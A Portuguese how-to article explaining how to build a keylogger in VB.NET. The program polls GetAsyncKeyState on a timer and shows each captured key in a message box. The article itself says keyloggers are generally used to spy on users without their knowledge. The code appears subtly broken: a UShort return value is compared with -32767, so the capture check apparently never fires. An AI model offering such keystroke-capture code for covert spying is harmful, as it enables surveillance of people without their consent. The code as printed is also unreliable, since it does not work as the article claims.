Como fazer um keylogger em VB

Escrito por jaime avelar | Traduzido por caio amorim
  • Compartilhar
  • Tweetar
  • Compartilhar
  • Pin
  • E-mail
Como fazer um keylogger em VB
Capturando teclas utilizando VB.NET (keyboard image by Fyerne from Fotolia.com)

Saber como fazer um keylogger utilizando Microsoft Visual Basic.NET (VB.NET) pode poupá-lo tempo quando você precisar desenvolver uma aplicação que capture todas as teclas utilizadas. Programas keylogger são geralmente utilizados para espiar ou obter informações sem que o usuário perceba que tal programa está rodando. Leis variam de acordo com o país sobre como um programa keylogger pode ser usado.

Nível de dificuldade:
Moderado

Outras pessoas estão lendo

O que você precisa?

  • Microsoft Visual Basic Express

Lista completaMinimizar

Instruções

  1. 1

    Inicie o Microsoft Visual Basic Express. Clique em "New Project" (Novo projeto) na parte esquerda de sua tela, então selecione "Windows Forms Application" (Aplicação Windows). Clique em "OK".

  2. 2

    Clique duas vezes em "Timer" (Cronômetro) no painel "Toolbox" (Caixa de ferramentas) para adicionar um novo contador de tempo. Clique com o botão direito em "Timer1", então selecione "Properties" (Propriedades). Próximo à "Enabled" (Habilitado), selecione "True" (Verdadeiro). Clique duas vezes em "Timer1" para abrir a janela "Form1.vb".

  3. 3

    Digite o seguinte código acima de "Timer1_Tick" para declarar a função "GetAsyncKeystate":

    Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Int32) As UShort

  4. 4

    Digite o seguinte código abaixo de "Timer1_Tick" para capturar as teclas digitadas enquanto o programa está rodando:

    Dim keyResult As Integer Dim chrKey As String Dim i As Integer

    For i = 2 To 90 keyResult = 0 keyResult = GetAsyncKeystate(i) If keyResult = -32767 Then chrKey = Chr(i) MsgBox(chrKey) Exit For End If Next i

  5. 5

    Pressione "F5" para rodar o programa, então aperte "B" no teclado e você verá uma caixa de diálogo mostrando a letra "B".

Não perca

Filtro:
  • Geral
  • Artigos
  • Slides
  • Vídeos
Mostrar:
  • Mais relevantes
  • Mais lidos
  • Mais recentes

Nenhum artigo disponível

Nenhum slide disponível

Nenhum vídeo disponível